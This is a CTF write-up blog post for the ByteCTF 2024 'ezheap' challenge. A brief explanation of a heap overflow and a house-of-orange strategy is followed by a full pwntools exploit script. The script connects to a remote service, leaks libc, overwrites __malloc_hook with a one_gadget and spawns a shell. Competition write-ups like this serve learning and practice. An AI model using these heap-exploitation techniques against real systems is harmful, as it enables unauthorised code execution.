ByteCTF 2024

Posted by l0tus on 2024-09-22
Estimated Reading Time 2 Minutes
Words 447 In Total
Viewed Times

ezheap

Analysis

The function freechunk is a rc4, no free. Edit has a heap overflow, and neither add nor edit has a size limit.

Utilize house-of-orange twice:

  1. Heap overflow to edit top size
  2. malloc (put topchunk into unsorted bin)
  3. malloc, cut topchunk in unsorted bin
  4. show, leak the libcbase
  5. Repeat the previous steps and put the new topchunk into tcache
  6. Heap overflow changed to fd
  7. Malloc twice, edit and write at any address
  8. Write malloc_hook as ogg
  9. add(0), trigger ogg

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import*
context.log_level='debug'

elf=ELF("./pwn")
libc = ELF("./libc-2.27.so")
#p=process("./pwn")
p=remote("113.201.14.253","14745")

def add(size):
p.sendlineafter("Enter 1 to add, 2 to free, 3 to show, 4 to edit, 0 to exit:",b"1")
p.sendlineafter("Enter size to add:",str(size).encode())

def show(idx):
p.sendlineafter("Enter 1 to add, 2 to free, 3 to show, 4 to edit, 0 to exit:",b"3")
p.sendlineafter("Enter index to show:",str(idx).encode())

def edit(idx,size, con):
p.sendlineafter("Enter 1 to add, 2 to free, 3 to show, 4 to edit, 0 to exit:",b"4")
p.sendlineafter("Enter index to edit:",str(idx).encode())
p.sendlineafter("input size",str(size).encode())
p.sendlineafter("input",con)

def call_exit():
p.sendlineafter("Enter 1 to add, 2 to free, 3 to show, 4 to edit, 0 to exit:",b"0")

add(0x68)#0

edit(0,0x70,b'a'*0x68+p64(0xd41))

add(0xd50)#1

add(0xd10)#2
show(2)
p.recvuntil("Chunk at index 2: ")
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x3ebca0
print("libc_base = ",hex(libc_base))
system=libc_base+libc.sym["system"]
free_hook=libc_base+libc.sym["__free_hook"]
malloc_hook=libc_base+libc.sym["__malloc_hook"]
ogg=libc_base+0x4f322


edit(1,0xd60,b'b'*0xd58+p64(0x2a1))

add(0x300)#3

edit(1,0xd68,b'b'*0xd58+p64(0x281)+p64(malloc_hook))
#gdb.attach(p)
add(0x270)#4
add(0x270)#5
edit(5,0x8,p64(ogg))

#call_exit()
#edit(3,0x318,b"c"*0x308+p64(0xcf1)+b"/bin/sh\x00")



add(0)

p.interactive()


'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

'''

如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !